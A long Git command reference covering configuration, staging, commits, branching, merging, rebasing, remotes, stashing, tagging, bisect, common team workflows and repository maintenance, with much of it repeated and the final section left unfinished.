Technical Documentation Repository

Last updated: 2025

Working Directory -> Staging Area -> Git Repository
     (edit)            (stage)         (commit)

# 1. Make changes in working directory
echo "Hello World" > file.txt

# 2. Stage changes
git add file.txt

# 3. Commit changes
git commit -m "Add hello world file"

# 4. Push to remote repository
git push origin main

# Linux (Debian/Ubuntu)
sudo apt-get update
sudo apt-get install git

# Linux (Fedora)
sudo dnf install git

# macOS (Homebrew)
brew install git

# Windows
# Download from https://git-scm.com/download/win

# Verify installation
git --version

# Set user name
git config --global user.name "Your Name"

# Set email
git config --global user.email "your.email@example.com"

# Set default editor
git config --global core.editor "vim"

# Set default branch name
git config --global init.defaultBranch main

# Enable color output
git config --global color.ui auto

# View all settings
git config --list

# View specific setting
git config user.name

# Edit config file directly
git config --global --edit

# Initialize new repository
git init

# Clone existing repository
git clone https://github.com/user/repo.git

# Clone to specific directory
git clone https://github.com/user/repo.git my-project

# Clone specific branch
git clone -b develop https://github.com/user/repo.git

# Check status
git status

# Add file to staging
git add file.txt

# Add all files
git add .

# Add all files with specific extension
git add *.js

# Interactive staging
git add -p

# Commit staged changes
git commit -m "Commit message"

# Commit with detailed message
git commit

# Stage and commit in one step
git commit -am "Message"

# Amend last commit
git commit --amend

# Amend without changing message
git commit --amend --no-edit

# View commit history
git log

# Compact log
git log --oneline

# Graph view
git log --graph --oneline --all

# Limit number of commits
git log -n 5

# Show commits by author
git log --author="John"

# Show commits in date range
git log --since="2 weeks ago"
git log --until="2024-01-01"

# Show file changes
git log --stat

# Show detailed changes
git log -p

# Search commit messages
git log --grep="fix"

# Show commits affecting specific file
git log -- file.txt

# Show unstaged changes
git diff

# Show staged changes
git diff --staged

# Show changes in specific file
git diff file.txt

# Compare branches
git diff main..feature

# Compare commits
git diff commit1 commit2

# Word-level diff
git diff --word-diff

# List branches
git branch

# List all branches (including remote)
git branch -a

# Create new branch
git branch feature-name

# Switch to branch
git checkout feature-name

# Create and switch in one command
git checkout -b feature-name

# Modern syntax (Git 2.23+)
git switch feature-name
git switch -c feature-name

# Delete branch
git branch -d feature-name

# Force delete unmerged branch
git branch -D feature-name

# Rename current branch
git branch -m new-name

# Rename specific branch
git branch -m old-name new-name

# Merge branch into current branch
git merge feature-name

# Merge with commit message
git merge feature-name -m "Merge feature"

# Merge without fast-forward
git merge --no-ff feature-name

# Abort merge
git merge --abort

# Continue merge after resolving conflicts
git merge --continue

# When merge conflict occurs:

# 1. Check conflicted files
git status

# 2. Open files and resolve conflicts
#    Look for markers: <<<<<<<, =======, >>>>>>>

# 3. After resolving, stage files
git add resolved-file.txt

# 4. Complete merge
git commit

# Or use merge tool
git mergetool

# Rebase current branch onto main
git rebase main

# Interactive rebase (last 3 commits)
git rebase -i HEAD~3

# Continue after resolving conflicts
git rebase --continue

# Skip current commit
git rebase --skip

# Abort rebase
git rebase --abort

# Rebase options in interactive mode:
# pick   = use commit
# reword = use commit, but edit message
# edit   = use commit, but stop for amending
# squash = merge with previous commit
# drop   = remove commit

# List remotes
git remote

# List remotes with URLs
git remote -v

# Add remote
git remote add origin https://github.com/user/repo.git

# Change remote URL
git remote set-url origin https://github.com/user/new-repo.git

# Remove remote
git remote remove origin

# Rename remote
git remote rename origin upstream

# Show remote info
git remote show origin

# Fetch from remote (doesn't merge)
git fetch origin

# Fetch all remotes
git fetch --all

# Pull (fetch + merge)
git pull origin main

# Pull with rebase
git pull --rebase origin main

# Pull specific branch
git pull origin feature-branch

# Push to remote
git push origin main

# Push and set upstream
git push -u origin main

# Push all branches
git push --all origin

# Push tags
git push --tags

# Force push (dangerous!)
git push --force origin main

# Safer force push
git push --force-with-lease origin main

# Delete remote branch
git push origin --delete branch-name

# Discard changes in file
git checkout -- file.txt

# Discard all changes
git checkout -- .

# Modern syntax
git restore file.txt
git restore .

# Remove untracked files
git clean -f

# Remove untracked files and directories
git clean -fd

# Preview what will be removed
git clean -n

# Unstage file
git reset HEAD file.txt

# Unstage all files
git reset HEAD

# Modern syntax
git restore --staged file.txt

# Undo last commit (keep changes)
git reset --soft HEAD~1

# Undo last commit (discard changes)
git reset --hard HEAD~1

# Undo multiple commits
git reset --hard HEAD~3

# Reset to specific commit
git reset --hard commit-hash

# Create new commit that undoes changes
git revert commit-hash

# Revert multiple commits
git revert commit1..commit3

# Stash current changes
git stash

# Stash with message
git stash save "Work in progress"

# List stashes
git stash list

# Apply last stash
git stash apply

# Apply specific stash
git stash apply stash@{2}

# Apply and remove stash
git stash pop

# Create branch from stash
git stash branch feature-name

# Drop stash
git stash drop stash@{0}

# Clear all stashes
git stash clear

# Stash including untracked files
git stash -u

# List tags
git tag

# Create lightweight tag
git tag v1.0.0

# Create annotated tag
git tag -a v1.0.0 -m "Version 1.0.0"

# Tag specific commit
git tag v1.0.0 commit-hash

# Push tag to remote
git push origin v1.0.0

# Push all tags
git push --tags

# Delete local tag
git tag -d v1.0.0

# Delete remote tag
git push origin --delete v1.0.0

# Checkout tag
git checkout v1.0.0

# Apply specific commit to current branch
git cherry-pick commit-hash

# Cherry-pick multiple commits
git cherry-pick commit1 commit2

# Cherry-pick without committing
git cherry-pick -n commit-hash

# Abort cherry-pick
git cherry-pick --abort

# Start bisect session
git bisect start

# Mark current commit as bad
git bisect bad

# Mark known good commit
git bisect good commit-hash

# Git will checkout middle commit
# Test and mark as good or bad
git bisect good  # or git bisect bad

# Continue until bug is found

# End bisect session
git bisect reset

# 1. Create feature branch
git checkout -b feature/new-feature

# 2. Make changes and commit
git add .
git commit -m "Implement new feature"

# 3. Push to remote
git push -u origin feature/new-feature

# 4. Create pull request (on GitHub/GitLab)

# 5. After review, merge via web interface

# 6. Update local main branch
git checkout main
git pull origin main

# 7. Delete feature branch
git branch -d feature/new-feature
git push origin --delete feature/new-feature

# Main branches: main (production), develop (integration)

# Start new feature
git checkout -b feature/feature-name develop

# Finish feature
git checkout develop
git merge --no-ff feature/feature-name
git branch -d feature/feature-name

# Start release
git checkout -b release/1.0.0 develop

# Finish release
git checkout main
git merge --no-ff release/1.0.0
git tag -a v1.0.0
git checkout develop
git merge --no-ff release/1.0.0
git branch -d release/1.0.0

# Hotfix
git checkout -b hotfix/fix-bug main
git checkout main
git merge --no-ff hotfix/fix-bug
git tag -a v1.0.1
git checkout develop
git merge --no-ff hotfix/fix-bug
git branch -d hotfix/fix-bug

# 1. Fork repository on GitHub

# 2. Clone your fork
git clone https://github.com/your-username/repo.git
cd repo

# 3. Add upstream remote
git remote add upstream https://github.com/original-owner/repo.git
git remote -v

# 4. Create feature branch
git checkout -b feature/my-feature

# 5. Make changes and commit
git add .
git commit -m "Add new feature"

# 6. Keep your fork updated
git fetch upstream
git checkout main
git merge upstream/main
git push origin main

# 7. Rebase your feature branch (optional but recommended)
git checkout feature/my-feature
git rebase main

# 8. Push to your fork
git push origin feature/my-feature

# 9. Create Pull Request on GitHub
#    - Navigate to original repository
#    - Click "New Pull Request"
#    - Select your fork and branch

# 10. After PR is merged, update and cleanup
git checkout main
git pull upstream main
git push origin main
git branch -d feature/my-feature
git push origin --delete feature/my-feature

# Work directly on main branch with short-lived feature branches

# 1. Create short-lived feature branch
git checkout -b feature/quick-fix

# 2. Make small, incremental changes
git add .
git commit -m "Implement part 1 of feature"

# 3. Keep branch up to date with main (multiple times per day)
git checkout main
git pull origin main
git checkout feature/quick-fix
git rebase main

# 4. Merge back to main quickly (within hours or 1-2 days)
git checkout main
git merge --no-ff feature/quick-fix
git push origin main

# 5. Delete feature branch
git branch -d feature/quick-fix

# Alternative: Direct commits to main (for very small changes)
git checkout main
git pull origin main
# Make small change
git add .
git commit -m "Fix typo"
git push origin main

# Create release branch from main
git checkout -b release/v2.0.0 main

# Make release-specific changes (version bumps, changelog, etc.)
git add .
git commit -m "Prepare release v2.0.0"

# Test the release branch thoroughly
# Fix any bugs found
git add .
git commit -m "Fix release bug"

# Merge to main and tag
git checkout main
git merge --no-ff release/v2.0.0
git tag -a v2.0.0 -m "Release version 2.0.0"
git push origin main
git push origin v2.0.0

# Merge release changes back to develop (if using Gitflow)
git checkout develop
git merge --no-ff release/v2.0.0

# Delete release branch
git branch -d release/v2.0.0

# Update your local repository
git checkout main
git pull origin main

# Check what you were working on
git status
git log --oneline -5

# Resume work on feature branch
git checkout feature/my-feature
git rebase main

# Check status frequently
git status

# View changes before staging
git diff

# Stage changes selectively
git add -p  # Interactive staging

# Commit with meaningful message
git commit -m "feat: Add user authentication

Implement JWT-based authentication system with:
- Login endpoint
- Token validation middleware
- Logout functionality

Refs #123"

# Push to remote frequently
git push origin feature/my-feature

# Save work in progress without committing
git stash save "WIP: working on login form"

# Make sure branch is up to date
git checkout main
git pull origin main
git checkout feature/my-feature
git rebase main

# Clean up commit history (if needed)
git rebase -i HEAD~5
# Squash, reword, or reorder commits

# Run tests
npm test  # or your test command

# Push updated branch
git push --force-with-lease origin feature/my-feature

# Create Pull Request on GitHub

# Address review comments
git add .
git commit -m "Address PR feedback"

# Or amend last commit
git add .
git commit --amend --no-edit

# Force push (your PR branch)
git push --force-with-lease origin feature/my-feature

# Commit work in progress
git add .
git commit -m "WIP: partial implementation"

# Or stash if not ready to commit
git stash save "WIP: end of day $(date)"

# Push to remote as backup
git push origin feature/my-feature

# Save current work
git stash

# Switch to different feature
git checkout feature/other-feature

# Work on it...
git add .
git commit -m "Update feature"

# Switch back to original feature
git checkout feature/my-feature
git stash pop

# 1. Create hotfix branch from main
git checkout main
git pull origin main
git checkout -b hotfix/critical-bug

# 2. Fix the bug
git add .
git commit -m "fix: Resolve critical authentication bug

Fix issue where users couldn't login after password reset.

Fixes #456"

# 3. Test thoroughly
npm test

# 4. Merge to main
git checkout main
git merge --no-ff hotfix/critical-bug
git tag -a v1.0.1 -m "Hotfix release 1.0.1"

# 5. Push to production
git push origin main
git push origin v1.0.1

# 6. Merge back to develop
git checkout develop
git merge --no-ff hotfix/critical-bug

# 7. Cleanup
git branch -d hotfix/critical-bug

# Add upstream if not already added
git remote add upstream https://github.com/original/repo.git

# Fetch upstream changes
git fetch upstream

# Merge upstream changes to main
git checkout main
git merge upstream/main

# Push to your fork
git push origin main

# Update your feature branch
git checkout feature/my-feature
git rebase main

# Person A creates branch and pushes
git checkout -b feature/shared-feature
git add .
git commit -m "Initial implementation"
git push -u origin feature/shared-feature

# Person B clones and contributes
git fetch origin
git checkout feature/shared-feature
git add .
git commit -m "Add tests"
git push origin feature/shared-feature

# Person A pulls updates
git checkout feature/shared-feature
git pull origin feature/shared-feature

# Undo last commit but keep changes
git reset --soft HEAD~1

# Discard all local changes
git reset --hard HEAD

# Recover deleted branch
git reflog
git checkout -b recovered-branch <commit-hash>

# Undo force push (if reflog available)
git reflog
git reset --hard HEAD@{n}
git push --force-with-lease

# Revert a merged PR
git revert -m 1 <merge-commit-hash>
git push origin main

# Install Git LFS
git lfs install

# Track large files
git lfs track "*.psd"
git lfs track "*.mp4"
git lfs track "datasets/*"

# Add .gitattributes
git add .gitattributes

# Add and commit large files
git add large-file.psd
git commit -m "Add design file"
git push origin main

# Squash commits before merging
git checkout feature/my-feature
git rebase -i main

# In editor, change "pick" to "squash" for commits to combine

# Rewrite commit message
git commit --amend

# Force push (only on feature branches!)
git push --force-with-lease origin feature/my-feature

# Good commit message structure:
# <type>: <subject>
# 
# <body>
# 
# <footer>

# Example:
git commit -m "feat: Add user authentication

Implement JWT-based authentication system with login and logout endpoints.
Uses bcrypt for password hashing.

Closes #123"

# Common types:
# feat:     New feature
# fix:      Bug fix
# docs:     Documentation changes
# style:    Formatting, missing semicolons, etc.
# refactor: Code restructuring
# test:     Adding tests
# chore:    Maintenance tasks

# Create .gitignore file
cat > .gitignore << 'EOL'
# Dependencies
node_modules/
vendor/

# Environment files
.env
.env.local

# Build outputs
dist/
build/
*.log

# IDE files
.vscode/
.idea/
*.swp

# OS files
.DS_Store
Thumbs.db

# Compiled files
*.pyc
*.class
*.o
EOL

# Global gitignore
git config --global core.excludesfile ~/.gitignore_global

# Undo last commit but keep changes
git reset --soft HEAD~1

# Fix wrong commit message
git commit --amend -m "Correct message"

# Recover deleted branch
git reflog
git checkout -b recovered-branch commit-hash

# Resolve "detached HEAD"
git checkout main

# Remove file from Git but keep locally
git rm --cached file.txt

# Update .gitignore for already tracked files
git rm -r --cached .
git add .
git commit -m "Update .gitignore"

# Find commit that introduced bug
git bisect start
git bisect bad
git bisect good commit-hash

# Clean up repository
git gc

# Aggressive cleanup
git gc --aggressive

# Prune unreachable objects
git prune

# Show repository size
git count-objects -vH

# Create useful aliases
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.ci commit
git config --global alias.st status
git config --global alias.unstage 'reset HEAD --'
git config --global alias.last 'log -1 HEAD'
git config --global alias.visual 'log --graph --oneline --all'
git config --global alias.amend 'commit --amend --no-edit'

# Use aliases
git co main
git ci -m "Message"
git visual

git status                    # Check status
git add .                     # Stage all changes
git commit -m "message"       # Commit changes
git pull                      # Update from remote
git push                      # Push to remote
git log --oneline            # View history

git branch                    # List branches
git checkout -b feature       # Create and switch
git merge feature            # Merge branch
git branch -d feature        # Delete branch

git reset --soft HEAD~1      # Undo commit, keep changes
git restore file.txt         # Discard file changes
git revert commit-hash       # Create revert commit
git stash                    # Save temporary changes

git remote -v                # List remotes
git fetch origin             # Download changes
git pull origin main         # Fetch and merge
git push origin main         # Upload changes

# Initial setup
git config --global user.name "Your Name"
git config --global user.email "your.email@example.com"
git config --global core.editor "vim"
git config --global init.defaultBranch main

# View configuration
git config --list
git config user.name

# Create new repository
git init

# Clone existing repository
git clone <url>
git clone <url> <directory>
git clone -b <branch> <url>

# Check status
git status
git status -s                # Short format

# Add files
git add <file>
git add .                    # Add all
git add -p                   # Interactive staging

# Commit changes
git commit -m "Message"
git commit -am "Message"     # Stage and commit
git commit --amend           # Modify last commit

# View history
git log
git log --oneline
git log --graph --oneline --all

# Push/Pull
git pull
git pull --rebase
git push
git push -u origin <branch>

# List branches
git branch                   # Local branches
git branch -a                # All branches
git branch -r                # Remote branches

# Create branch
git branch <name>
git checkout -b <name>       # Create and switch
git switch -c <name>         # Modern syntax

# Switch branches
git checkout <name>
git switch <name>
git checkout -               # Previous branch

# Delete branch
git branch -d <name>         # Safe delete
git branch -D <name>         # Force delete
git push origin --delete <name>  # Delete remote

# Rename branch
git branch -m <new_name>

# Merge
git merge <branch>
git merge --no-ff <branch>
git merge --squash <branch>
git merge --abort

# Rebase
git rebase <branch>
git rebase -i HEAD~3         # Interactive rebase
git rebase --continue
git rebase --abort

# Resolve conflicts
git status                   # Check conflicts
# Edit files to resolve
git add <resolved_file>
git commit                   # or git rebase --continue

# List remotes
git remote -v

# Add/Remove remote
git remote add origin <url>
git remote remove <name>
git remote set-url origin <new_url>

# Fetch
git fetch
git fetch origin
git fetch --all
git fetch -p                 # Prune deleted branches

# Pull
git pull
git pull origin <branch>
git pull --rebase

# Push
git push
git push origin <branch>
git push -u origin <branch>
git push --tags
git push --force-with-lease  # Safer force push

# Show changes
git diff                     # Unstaged changes
git diff --staged            # Staged changes
git diff <branch1> <branch2>
git diff HEAD~1

# Show commits
git log
git log --oneline
git log -p                   # With patches
git log --stat               # With statistics
git log --author="Name"
git log --since="2 weeks ago"
git log --grep="pattern"

# Show commit details
git show <commit>
git show <commit>:<file>

# Blame
git blame <file>

# Discard changes in working directory
git restore <file>
git restore .
git checkout -- <file>       # Old syntax

# Unstage files
git restore --staged <file>
git reset HEAD <file>        # Old syntax

# Undo commits
git reset --soft HEAD~1      # Keep changes staged
git reset HEAD~1             # Keep changes unstaged
git reset --hard HEAD~1      # Discard changes
git revert <commit>          # Create reverting commit

# Clean untracked files
git clean -n                 # Dry run
git clean -f                 # Remove files
git clean -fd                # Remove files and directories

# Save changes temporarily
git stash
git stash save "Message"
git stash -u                 # Include untracked

# List stashes
git stash list

# Apply stash
git stash apply
git stash apply stash@{2}
git stash pop                # Apply and remove

# Manage stashes
git stash show -p
git stash drop stash@{0}
git stash clear

# List tags
git tag
git tag -l "v1.*"

# Create tags
git tag <name>               # Lightweight
git tag -a <name> -m "Message"  # Annotated

# Push tags
git push origin <tag>
git push --tags

# Delete tags
git tag -d <name>
git push origin --delete <name>

# Checkout tag
git checkout <tag>

# Cherry-pick
git cherry-pick <commit>
git cherry-pick <commit1> <commit2>

# Bisect (find bug)
git bisect start
git bisect bad
git bisect good <commit>
# Test and mark good/bad
git bisect reset

# Reflog (recover lost commits)
git reflog
git checkout <commit>

# Archive
git archive --format=zip HEAD > archive.zip

# Search
git grep "pattern"
git grep -n "pattern"        # With line numbers
git log -S "code"            # Commits with code

# Start new feature
git checkout -b feature/<name>

# Work on feature
git add .
git commit -m "Add feature"

# Push feature branch
git push -u origin feature/<name>

# After PR is merged
git checkout main
git pull
git branch -d feature/<name>

# Fork workflow
git remote add upstream <original_repo_url>
git fetch upstream
git checkout main
git merge upstream/main
git push origin main

# Create hotfix from main
git checkout main
git checkout -b hotfix/<issue>

# Fix and commit
git add .
git commit -m "Fix issue"

# Merge to main and develop
git checkout main
git merge --no-ff hotfix/<issue>
git tag -a v1.0.1 -m "Version 1.0.1"

git checkout develop
git merge --no-ff hotfix/<issue>

# Cleanup
git branch -d hotfix/<issue>

git stash
git checkout -b feature/<name>
git stash pop

git reset --soft HEAD~1

git commit --amend -m "New message"

git rm --cached <file>

git fetch upstream
git checkout main
git merge upstream/main
git push origin main

git rebase -i HEAD~N
# Change "pick" to "squash" for commits to combine

git commit --amend --author="Name <email>"

git switch --orphan <branch>
git commit --allow-empty -m "Initial commit"
git push -u origin <branch>

# Create useful aliases
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.ci commit
git config --global alias.st status
git config --global alias.unstage 'reset HEAD --'
git config --global alias.last 'log -1 HEAD'
git config --global alias.lg 'log --graph --oneline --all'
git config --global alias.amend 'commit --amend --no-edit'

# Ignore files
*.log
*.tmp
.env

# Ignore directories
node_modules/
dist/
build/

# Ignore with exceptions
*.a
!lib.a

# IDE files
.vscode/
.idea/
*.swp

# OS files
.DS_Store
Thumbs.db

# Flags used with multiple commands
-a, --all               # All
-b, --branch            # Branch
-d, --delete            # Delete
-f, --force             # Force
-m, --message           # Message
-n, --dry-run           # Dry run
-p, --patch             # Interactive patch mode
-u, --set-upstream      # Set upstream
-v, --verbose           # Verbose output

# Common patterns
HEAD                    # Current commit
HEAD~1                  # Previous commit
HEAD~n                  # N commits ago
HEAD^                   # First parent of merge
<commit>                # Commit hash
<branch>                # Branch name
origin                  # Default remote name
main/master             # Default branch names

# Abort everything
git merge --abort
git rebase --abort
git cherry-pick --abort

# Recover lost work
git reflog
git checkout <lost_commit>
git branch recover-branch <lost_commit>

# Undo force push (if possible)
git reflog
git reset --hard <previous_commit>
git push --force-with-lease

# Remove sensitive data from history
git filter-branch --force --index-filter \
  "git rm --cached --ignore-unmatch <file>" \
  --prune-empty --tag-name-filter cat -- --all

Working Directory → Staging Area → Repository → Remote
      (edit)          (add)        (commit)    (push)

Working Directory:    git restore <file>
Staging Area:         git restore --staged <file>
Last Commit:          git commit --amend
Previous Commits:     git revert <commit>
Local Branch:         git reset --hard <commit>

Create:    git checkout -b <name>
Switch:    git switch <name>
Merge:     git merge <name>
Delete:    git branch -d <name>
Remote:    git push -u origin <name>

# Create new Git repository
git init

# Initialize with specific branch name
git init -b main

# Create bare repository (for remote)
git init --bare

# Clone repository
git clone <repository_url>

# Clone to specific directory
git clone <repository_url> <directory>

# Clone specific branch
git clone -b <branch> <repository_url>

# Shallow clone (limited history)
git clone --depth 1 <repository_url>

# Clone with submodules
git clone --recursive <repository_url>

# Set user name
git config --global user.name "Your Name"

# Set user email
git config --global user.email "your.email@example.com"

# View user name
git config user.name

# View user email
git config user.email

# Set local config (repository-specific)
git config user.name "Your Name"

# Set editor
git config --global core.editor "vim"

# Set default branch name
git config --global init.defaultBranch main

# Enable color output
git config --global color.ui auto

# Set merge strategy
git config --global pull.rebase false

# View all config
git config --list

# View specific config
git config <key>

# Edit config file
git config --global --edit

# Create alias
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.ci commit
git config --global alias.st status
git config --global alias.last 'log -1 HEAD'
git config --global alias.visual 'log --graph --oneline --all'

# Show working tree status
git status

# Short status
git status -s

# Show status with branch info
git status -sb

# List all tracked files
git ls-files

# Show repository info
git remote show origin

# Add specific file
git add <file>

# Add all files
git add .

# Add all files in directory
git add <directory>/

# Add by pattern
git add *.js

# Add interactively
git add -i

# Add patch (selective staging)
git add -p

# Add all (including deleted)
git add -A

# Add modified and deleted (not new)
git add -u

# Commit staged changes
git commit -m "Commit message"

# Commit with detailed message (opens editor)
git commit

# Stage all tracked files and commit
git commit -am "Commit message"

# Amend last commit
git commit --amend

# Amend without changing message
git commit --amend --no-edit

# Amend and change author
git commit --amend --author="Name <email>"

# Empty commit (no changes)
git commit --allow-empty -m "Empty commit"

# Commit with specific date
git commit --date="2024-01-01" -m "Message"

# Remove file from working directory and staging
git rm <file>

# Remove file from staging only (keep in working directory)
git rm --cached <file>

# Remove directory
git rm -r <directory>

# Move/rename file
git mv <old_name> <new_name>

# View commit history
git log

# Compact one-line log
git log --oneline

# Graph view
git log --graph --oneline --all

# Decorate with branch/tag names
git log --decorate

# Pretty format
git log --pretty=format:"%h - %an, %ar : %s"

# Limit number of commits
git log -n 5
git log -5

# Show commits by author
git log --author="John"

# Show commits in date range
git log --since="2 weeks ago"
git log --after="2024-01-01"
git log --until="2024-12-31"
git log --before="2024-12-31"

# Show file statistics
git log --stat

# Show detailed patch
git log -p

# Show commits affecting specific file
git log -- <file>

# Search commit messages
git log --grep="fix bug"

# Show commits that added/removed specific text
git log -S "function_name"

# Show commits by committer (not author)
git log --committer="John"

# Show merge commits only
git log --merges

# Show non-merge commits
git log --no-merges

# Show first parent only
git log --first-parent

# Show commit details
git show <commit>

# Show specific file at commit
git show <commit>:<file>

# Show commit statistics
git show --stat <commit>

# Show commit names only
git show --name-only <commit>

# Show commit with word diff
git show --word-diff <commit>

# Show unstaged changes
git diff

# Show staged changes
git diff --staged
git diff --cached

# Show changes in specific file
git diff <file>

# Compare branches
git diff <branch1>..<branch2>

# Compare commits
git diff <commit1> <commit2>

# Compare with specific commit
git diff HEAD~1

# Word-level diff
git diff --word-diff

# Show statistics only
git diff --stat

# Show file names only
git diff --name-only

# Show file names with status
git diff --name-status

# Ignore whitespace
git diff -w
git diff --ignore-all-space

# Show who changed each line
git blame <file>

# Show blame for specific lines
git blame -L 10,20 <file>

# Show blame with email
git blame -e <file>

# Ignore whitespace changes
git blame -w <file>

# Show reference log (command history)
git reflog

# Show reflog for specific branch
git reflog <branch>

# Show reflog with dates
git reflog --date=relative

# Expire old reflog entries
git reflog expire --expire=30.days.ago --all

# List branches
git branch

# List all branches (including remote)
git branch -a

# List remote branches
git branch -r

# Create new branch
git branch <branch_name>

# Create branch from specific commit
git branch <branch_name> <commit>

# Switch to branch
git checkout <branch_name>

# Create and switch to new branch
git checkout -b <branch_name>

# Create branch from specific commit and switch
git checkout -b <branch_name> <commit>

# Modern syntax (Git 2.23+)
git switch <branch_name>
git switch -c <branch_name>

# Switch to previous branch
git checkout -
git switch -

# Delete local branch (safe)
git branch -d <branch_name>

# Force delete local branch
git branch -D <branch_name>

# Delete remote branch
git push origin --delete <branch_name>
git push origin :<branch_name>

# Rename current branch
git branch -m <new_name>

# Rename specific branch
git branch -m <old_name> <new_name>

# Rename and push to remote
git branch -m <new_name>
git push origin -u <new_name>
git push origin --delete <old_name>

# Show branches with last commit
git branch -v

# Show merged branches
git branch --merged

# Show unmerged branches
git branch --no-merged

# Show branches containing commit
git branch --contains <commit>

# Track remote branch
git branch --set-upstream-to=origin/<branch>
git branch -u origin/<branch>

# Merge branch into current branch
git merge <branch>

# Merge with commit message
git merge <branch> -m "Merge message"

# Merge without fast-forward
git merge --no-ff <branch>

# Merge with fast-forward only
git merge --ff-only <branch>

# Squash merge (combine all commits)
git merge --squash <branch>

# Abort merge
git merge --abort

# Continue merge after resolving conflicts
git merge --continue

# Use recursive strategy (default)
git merge -s recursive <branch>

# Use ours strategy (keep our version)
git merge -s ours <branch>

# Use theirs strategy
git merge -X theirs <branch>

# Ignore whitespace during merge
git merge -X ignore-all-space <branch>

# Rebase current branch onto another
git rebase <branch>

# Rebase onto specific commit
git rebase <commit>

# Continue rebase after resolving conflicts
git rebase --continue

# Skip current commit
git rebase --skip

# Abort rebase
git rebase --abort

# Rebase and preserve merges
git rebase -p <branch>

# Interactive rebase last N commits
git rebase -i HEAD~3

# Interactive rebase from specific commit
git rebase -i <commit>

# Interactive rebase with autosquash
git rebase -i --autosquash <branch>

# Commands in interactive rebase:
# pick (p)   = use commit
# reword (r) = use commit, but edit message
# edit (e)   = use commit, but stop for amending
# squash (s) = merge with previous commit
# fixup (f)  = like squash, but discard message
# drop (d)   = remove commit
# exec (x)   = run shell command

# List remotes
git remote

# List remotes with URLs
git remote -v

# Add remote
git remote add <name> <url>

# Remove remote
git remote remove <name>
git remote rm <name>

# Rename remote
git remote rename <old> <new>

# Change remote URL
git remote set-url <name> <new_url>

# Show remote details
git remote show <name>

# Prune stale remote branches
git remote prune origin

# Fetch from remote
git fetch

# Fetch from specific remote
git fetch <remote>

# Fetch specific branch
git fetch <remote> <branch>

# Fetch all remotes
git fetch --all

# Fetch and prune deleted remote branches
git fetch -p
git fetch --prune

# Fetch tags
git fetch --tags

# Dry run (show what would be fetched)
git fetch --dry-run

# Pull from tracked remote branch
git pull

# Pull from specific remote and branch
git pull <remote> <branch>

# Pull with rebase
git pull --rebase

# Pull with fast-forward only
git pull --ff-only

# Pull all submodules
git pull --recurse-submodules

# Pull and prune
git pull -p

# Push to remote
git push

# Push to specific remote and branch
git push <remote> <branch>

# Push and set upstream
git push -u <remote> <branch>

# Push all branches
git push --all

# Push tags
git push --tags

# Push specific tag
git push <remote> <tag>

# Force push (dangerous!)
git push --force

# Safer force push (checks remote state)
git push --force-with-lease

# Delete remote branch
git push <remote> --delete <branch>

# Delete remote tag
git push <remote> --delete <tag>

# Dry run (show what would be pushed)
git push --dry-run

# Discard changes in file
git checkout -- <file>

# Discard all changes
git checkout -- .

# Modern syntax
git restore <file>
git restore .

# Restore from specific commit
git restore --source=<commit> <file>

# Clean untracked files
git clean -f

# Clean untracked files and directories
git clean -fd

# Clean ignored files too
git clean -fdx

# Dry run (show what would be removed)
git clean -n

# Unstage file
git reset HEAD <file>

# Unstage all files
git reset HEAD

# Modern syntax
git restore --staged <file>
git restore --staged .

# Undo last commit, keep changes staged
git reset --soft HEAD~1

# Undo last commit, keep changes unstaged
git reset --mixed HEAD~1
git reset HEAD~1

# Undo last commit, discard changes
git reset --hard HEAD~1

# Reset to specific commit
git reset --hard <commit>

# Create new commit that undoes changes
git revert <commit>

# Revert merge commit
git revert -m 1 <merge_commit>

# Revert without committing
git revert -n <commit>

# Revert range of commits
git revert <commit1>..<commit2>

# Stash current changes
git stash

# Stash with message
git stash save "Work in progress"
git stash push -m "Work in progress"

# Stash including untracked files
git stash -u
git stash --include-untracked

# Stash including ignored files
git stash -a
git stash --all

# Stash specific files
git stash push <file>

# Stash with patch mode
git stash -p

# List stashes
git stash list

# Show stash contents
git stash show
git stash show -p

# Show specific stash
git stash show stash@{1}

# Apply last stash
git stash apply

# Apply specific stash
git stash apply stash@{1}

# Apply and remove stash (pop)
git stash pop

# Pop specific stash
git stash pop stash@{1}

# Create branch from stash
git stash branch <branch_name>

# Drop specific stash
git stash drop stash@{1}

# Clear all stashes
git stash clear

# List tags
git tag

# List tags with pattern
git tag -l "v1.*"

# Create lightweight tag
git tag <tag_name>

# Create annotated tag
git tag -a <tag_name> -m "Tag message"

# Tag specific commit
git tag <tag_name> <commit>

# Tag with specific date
git tag -a <tag_name> -m "Message" --date="2024-01-01"

# Show tag details
git show <tag_name>

# Delete local tag
git tag -d <tag_name>

# Delete remote tag
git push origin --delete <tag_name>
git push origin :refs/tags/<tag_name>

# Push tag to remote
git push origin <tag_name>

# Push all tags
git push --tags

# Fetch tags from remote
git fetch --tags

# Checkout tag (creates detached HEAD)
git checkout <tag_name>

# Create branch from tag
git checkout -b <branch_name> <tag_name>

# Apply specific commit
git cherry-pick <commit>

# Apply multiple commits
git cherry-pick <commit1> <commit2>

# Apply commit range
git cherry-pick <commit1>..<commit2>

# Cherry-pick without committing
git cherry-pick -n <commit>

# Continue cherry-pick
git cherry-pick --continue

# Abort cherry-pick
git cherry-pick --abort

# Skip current commit
git cherry-pick --skip

# Start bisect
git bisect start

# Mark current commit as bad
git bisect bad

# Mark current commit as good
git bisect good

# Mark specific commit as good
git bisect good <commit>

# Skip current commit
git bisect skip

# Reset bisect
git bisect reset

# Visualize bisect
git bisect visualize

# Run automated bisect
git bisect run <script>

# Add submodule
git submodule add <repository_url> <path>

# Initialize submodules
git submodule init

# Update submodules
git submodule update

# Clone with submodules
git clone --recursive <repository_url>

# Update all submodules
git submodule update --remote

# Remove submodule
git submodule deinit <path>
git rm <path>

# Show submodule status
git submodule status

# Foreach command on all submodules
git submodule foreach <command>

# List worktrees
git worktree list

# Add new worktree
git worktree add <path> <branch>

# Add worktree with new branch
git worktree add -b <new_branch> <path>

# Remove worktree
git worktree remove <path>

# Prune worktree information
git worktree prune

# Create archive of repository
git archive --format=zip HEAD > archive.zip

# Archive specific branch
git archive --format=tar <branch> > archive.tar

# Archive with prefix
git archive --prefix=project/ HEAD > archive.tar

# Archive specific directory
git archive HEAD <directory>/ > archive.tar

# Run garbage collection
git gc

# Aggressive garbage collection
git gc --aggressive

# Prune unreachable objects
git prune

# Verify repository integrity
git fsck

# Show repository statistics
git count-objects -v

# Show repository size
git count-objects -vH

# Repack repository
git repack

# Aggressive repack
git repack -a -d --depth=250 --window=250

# Prune old reflog entries
